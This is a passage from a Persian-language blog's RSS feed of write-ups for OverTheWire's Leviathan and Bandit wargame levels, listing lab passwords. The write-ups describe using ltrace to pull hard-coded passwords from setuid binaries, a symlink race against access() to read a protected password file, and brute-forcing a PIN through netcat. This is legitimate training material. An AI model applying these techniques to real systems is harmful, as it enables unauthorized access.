                <title>رایت آپ سطح ۴ &gt; ۵ سری چالش های leviathan از وبسایت overthewire</title>
                <link>https://virgool.io/@amir._.gholizadeh/%D8%B1%D8%A7%DB%8C%D8%AA-%D8%A2%D9%BE-%D8%B3%D8%B7%D8%AD-%DB%B3-%DB%B4-%D8%B3%D8%B1%DB%8C-%DA%86%D8%A7%D9%84%D8%B4-%D9%87%D8%A7%DB%8C-leviathan-%D8%A7%D8%B2-%D9%88%D8%A8%D8%B3%D8%A7%DB%8C%D8%AA-overthewire-bd25it3z3det</link>
                <description>اطلاعات لازم:نام کاربری: leviathan4رمز عبور: vuH0coox6mپورت: 2223هاست: leviathan.labs.overthewire.org (176.9.9.172)رایت آپ:وقتی وارد شدم ls کردم:یک فولدر مخفی وجود داره به اسم trash:داخلش یک فایل به اسم bin وجود داره که میتونیم اجراش کنیم:یک رشته باینری میده که با استفاده از یک ابزار انلاین به ASCII تبدیلش کردم: Tith4cokei</description>
                <category>امیر قلی زاده</category>
                <author>امیر قلی زاده</author>
                <pubDate>Sat, 29 May 2021 13:51:45 +0430</pubDate>
            </item>
                    <item>
                <title>رایت آپ سطح ۳ &gt; ۴ سری چالش های leviathan از وبسایت overthewire</title>
                <link>https://virgool.io/@amir._.gholizadeh/%D8%B1%D8%A7%DB%8C%D8%AA-%D8%A2%D9%BE-%D8%B3%D8%B7%D8%AD-%DB%B3-%DB%B4-%D8%B3%D8%B1%DB%8C-%DA%86%D8%A7%D9%84%D8%B4-%D9%87%D8%A7%DB%8C-leviathan-%D8%A7%D8%B2-%D9%88%D8%A8%D8%B3%D8%A7%DB%8C%D8%AA-overthewire-qpi1jgfug16g</link>
                <description>اطلاعات لازم:نام کاربری: leviathan3رمز عبور: Ahdiemoo1jپورت: 2223هاست: leviathan.labs.overthewire.org (176.9.9.172)رایت آپ:وقتی وارد شدم ls کردم:یک فایل وجود داره که میتونیم اجراش کنیم:مثل اینکه رمز عبوری که ما بهش میدیم رو در برابر یک رشته در داخل برنامه مقایسه میکنه٬ پس از ltrace استفاده کردم:دوتا strcmp وجود داره ولی اولی به درد ما نمیخوره و اونی که به درد ما میخوره دومیه که رمز عبور مارو در برابر snlprintf مقایسه میکنه پس از همین استفاده کردم و تونستم یک shell به عنوان کاربر leviathan4 بگیرم و رمز عبور رو بدست بیارم:منبع: https://amirgholizadeh.github.io</description>
                <category>امیر قلی زاده</category>
                <author>امیر قلی زاده</author>
                <pubDate>Sat, 29 May 2021 13:35:16 +0430</pubDate>
            </item>
                    <item>
                <title>رایت آپ سطح ۲ &gt; ۳ سری چالش های leviathan از وبسایت overthewire</title>
                <link>https://virgool.io/@amir._.gholizadeh/%D8%B1%D8%A7%DB%8C%D8%AA-%D8%A2%D9%BE-%D8%B3%D8%B7%D8%AD-%DB%B2-%DB%B3-%D8%B3%D8%B1%DB%8C-%DA%86%D8%A7%D9%84%D8%B4-%D9%87%D8%A7%DB%8C-leviathan-%D8%A7%D8%B2-%D9%88%D8%A8%D8%B3%D8%A7%DB%8C%D8%AA-overthewire-im60nimgecul</link>
                <description>اطلاعات لازم:نام کاربری: leviathan2رمز عبور: ougahZi8Taپورت: 2223هاست: leviathan.labs.overthewire.org (176.9.9.172)رایت آپ:وقتی وارد شدم یک ls کردم تا ببینم چه چیزایی داخل فولدر هست:ls -lدیدم که یک اسکریپت به نام printfile وجود داره که قابل اجرا هم هست و setuid هم داره پس در قدم بعد سعی کردم رمز عبور کاربر leviathan3 رو از /etc/leviathan_pass/leviathan3/ بگیرم:قابل هضم نبود که به این آسونیا هم باشه! یک ltrace روش انجام دادم تا کال های لایبرری هاشو ببینم:یک فانکشن به اسم access استفاده میشه که با توجه به گوگل کردنم٬ فایلی که بهش داده میشه رو بررسی میکنه تا ببینه اجازه دسترسی بهش داریم یا نه. ولی یک چیز جالب توی همون صفحه پیدا کردم:چیز مهمی که نوشته اینه که این تابع یک مشکل امنیتی داره و اون مشکل اینه که کاربر شاید بین فاصله ای که این تابع فایل رو چک میکنه تا وقتی که فایل باز میشه٬ این فایل رو عوض کنه! اونم با استفاده از لینک کردن!پس به یک نقشه فکر کردم و نتیجه گرفتم چندتا دستور رو در یک مدت معینی اجرا کنم و وقتی اجرا میشه این اسکریپت رو اجرا کنم تا بتونم رمز عبور رو ازش بگیرم:در دستور اول یک فایل میسازم٬ در دستور دوم اون فایل رو لینک میکنم به فایلی که رمز عبور داخلشه٬ در دستور سوم هم فایل رو پاک میکنم و این دستور ها هر ۰.۱ ثانیه اجرا میشه. وقتی اینو اجرا گذاشتم٬ همزمان اون اسکریپت رو اجرا کردم چندبار تا رمز عبور رو بهم بده:و بعد چندین بار اجرا کردن تونستم پسورد رو بگیرم.</description>
                <category>امیر قلی زاده</category>
                <author>امیر قلی زاده</author>
                <pubDate>Sat, 29 May 2021 12:33:31 +0430</pubDate>
            </item>
                    <item>
                <title>رایت آپ سطح ۱ &gt; ۲ سری چالش های leviathan از وبسایت overthewire</title>
                <link>https://virgool.io/@amir._.gholizadeh/%D8%B1%D8%A7%DB%8C%D8%AA-%D8%A2%D9%BE-%D8%B3%D8%B7%D8%AD-%DB%B1-%DB%B2-%D8%B3%D8%B1%DB%8C-%DA%86%D8%A7%D9%84%D8%B4-%D9%87%D8%A7%DB%8C-leviathan-%D8%A7%D8%B2-%D9%88%D8%A8%D8%B3%D8%A7%DB%8C%D8%AA-overthewire-wbizlu7hu0ca</link>
                <description>اطلاعات لازمنام کاربری: leviathan1
رمز عبور: rioGegei8m
پورت: ۲۲۲۳
هاست:leviathan.labs.overthewire.org (176.9.9.172)رایت آپبعد اینکه وصل شدیم در داخل ترمینال ls میکنیم و میبینیم چی داخل پوشه هست:ls -lمیبینیم که یک فایل به نام  check در این پوشه قرار داره که قابل اجرا برای کسایی که توی گروه leviathan1 هستن٬ هست. پس اجراش میکنیم:اجرا کردن checkبعد از اجرا کردن میبینیم که به یک رمز عبور نیاز داره و این رمز عبور هم حتما در داخل خود کد این برنامه وجود داره پس کال های کتابخونه هارو چک میکنیم:چک کردن کال هامیبینیم که یک تابع به اسم strcmp وجود داره و با کمی گوگل کردن میفهمیم که این تابع برای مقایسه دو رشته استفاده میشه پس از sex به عنوان رمز عبور استفاده میکنیم:چک کردن کلمه sex به عنوان پسوردرمز عبور درست در اومد و انگار یک shell گرفتیم. چک میکنیم کاربری که با اون توی shell هستیم کیه:چک کردن کاربر shellو میدونیم که رمز عبور تمامی سطح ها توی پوشه /etc/leviathan_pass/ قرار داره پس رمز عبور رو اونجا میگیریم:پیدا کردن رمز عبورو پیداش کردیم: ougahZi8Ta</description>
                <category>امیر قلی زاده</category>
                <author>امیر قلی زاده</author>
                <pubDate>Wed, 26 May 2021 22:00:32 +0430</pubDate>
            </item>
                    <item>
                <title>رایت آپ سطح ۰ &gt; ۱ سری چالش های leviathan از وبسایت overthewire</title>
                <link>https://virgool.io/@amir._.gholizadeh/%D8%B1%D8%A7%DB%8C%D8%AA-%D8%A2%D9%BE-%D8%B3%D8%B7%D8%AD-%DB%B0-%DB%B1-%D8%B3%D8%B1%DB%8C-%DA%86%D8%A7%D9%84%D8%B4-%D9%87%D8%A7%DB%8C-leviathan-%D8%A7%D8%B2-%D9%88%D8%A8%D8%B3%D8%A7%DB%8C%D8%AA-overthewire-xkzmqnpepbre</link>
                <description>اطلاعات لازماطلاعات لازم برای SSH کردن به این سطح:نام کاربری: leviathan0
رمز عبور: leviathan0
پورت: ۲۲۲۳
هاست:leviathan.labs.overthewire.org (176.9.9.172)رایت آپبعد از وصل به سرور داخل پوشه home کاربر فعلی یعنی leviathan0 قرار داریم و از آنجایی که داده های مربوط به این سری در این پوشه قرار دارن میتونیم حدس بزنیم که چیزی که دنبالش هستیم همینجاست٬ پس با وارد کردن دستور ls در ترمینال چک میکنیم که چه چیزهایی داخل این پوشه قرار داره:lsمیبینیم که چیزی داخلش نیست! از a- استفاده میکنیم تا فایل و پوشه های مخفی هم ببینیم:ls -aمیبینیم که یک پوشه جالبی وجود داره: backup.با استفاده از دستور cd داخل پوشه میریم و میبینیم چه در داخل اون پوشه قرار داره:پوشه backupیک فایل bookmarks.html قرار داره که به نظر میاد چیز جالبی داخلش باشه٬ با استفاده از cat چک میکنیم چه چیزی داخلشه:cat bookmarks.htmlمتاسفانه تعداد خط هایی که وجود داره زیاده و نمیشه همینجوری چیز خاصی پیدا کرد پس از دستور grep برای فیلتر کردنشون استفاده میکنیم:فیلتر کردن bookmarks.htmlمیبینیم که پسورد پیدا شد: rioGegei8mمنتظر نظرات و انتقادات شما هستم.</description>
                <category>امیر قلی زاده</category>
                <author>امیر قلی زاده</author>
                <pubDate>Wed, 26 May 2021 20:28:19 +0430</pubDate>
            </item>
                    <item>
                <title>راه حل سطح ۲۵ &lt;‌ ۲۴ چالش bandit در سایت overthewire</title>
                <link>https://virgool.io/@amir._.gholizadeh/%D8%B1%D8%A7%D9%87-%D8%AD%D9%84-%D8%B3%D8%B7%D8%AD-%DB%B2%DB%B5-%DB%B2%DB%B4-%DA%86%D8%A7%D9%84%D8%B4-bandit-%D8%AF%D8%B1-%D8%B3%D8%A7%DB%8C%D8%AA-overthewire-vu5iingsd9gs</link>
                <description> در این سطح از چالش bandit یک daemon روی پورت ۳۰۰۰۲ وجود داره. بریم که تحقیقات رو شروع کنیم و این چالش رو حل کنیم.اولین کاری که باید کنیم٬ طبق معمول٬ اینه که با استفاده از پروتکل SSH به bandit24 وصل بشیم٬ پس توی ترمینال تایپ میکنیم:ssh 179.9.9.172 -p 2220 -l bandit24و بعد رمز عبوری که از مرحله قبل گرفتیم رو میدیم:UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZبرای وصل شدن به پورت ۳۰۰۰۲ از ابزار netcat استفاده میکنیم:nc localhost 30002بعد از وصل شدن به این پورت یک پیام دریافت میکنیم:وصل شدن به پورتاین پیام به ما میگه که باید رمزعبور سطح فعلی رو با ترکیب یک رمز ۴ رقمی که با فاصله از هم جدا میشن به اون بفرستیم. این رمز ۴ رقمی از ۰۰۰۰ شروع میشه تا ۹۹۹۹.یا میتونیم همینجا اینکارو کنیم یا با استفاده از دستور &quot;echo&quot; و با پایپ کردنش با &quot;nc&quot; بهش از طریق stdin این ترکیب رو بدیم:پایپ کردن echo با ncمیبینیم که این ترکیب اشتباهه و باید از یک ترکیب دیگه ای استفاده کنیم.حالا این سوال پیش میاد که آیا با استفاده از این دستور ممکنه بتونیم ۹۹۹۹ تا ترکیب رو بفرستیم؟ معلومه که نه چون خیلی وقت گیره ولی خوشبختانه یک راه ساده تر هست اونم اینه که با استفاده از shell ترکیبی از رمز عبور و ۹۹۹۹ تا عدد بدست بیاریم و در داخل یک فایل ذخیرش کنیم بعد با پایپ کردن cat و nc همه ی ترکیب هارو به nc بدیم:ساختن ترکیب رمز عبور و اعداد ۰۰۰۰ تا ۹۹۹۹با استفاده از دستور head میفهمیم که درست کار کرد.در مرحله اخر باید bruteforce کنیم:bruteforcingو جوابش:تونستیم رمز عبور رو پیدا کنیم گرچه نمیدونیم کدوم عدد بهمون این رمز عبور رو داد.منتظر نظرات و انتقادات شما هستم.</description>
                <category>امیر قلی زاده</category>
                <author>امیر قلی زاده</author>
                <pubDate>Tue, 25 May 2021 14:19:11 +0430</pubDate>
            </item>
            </channel>
</rss>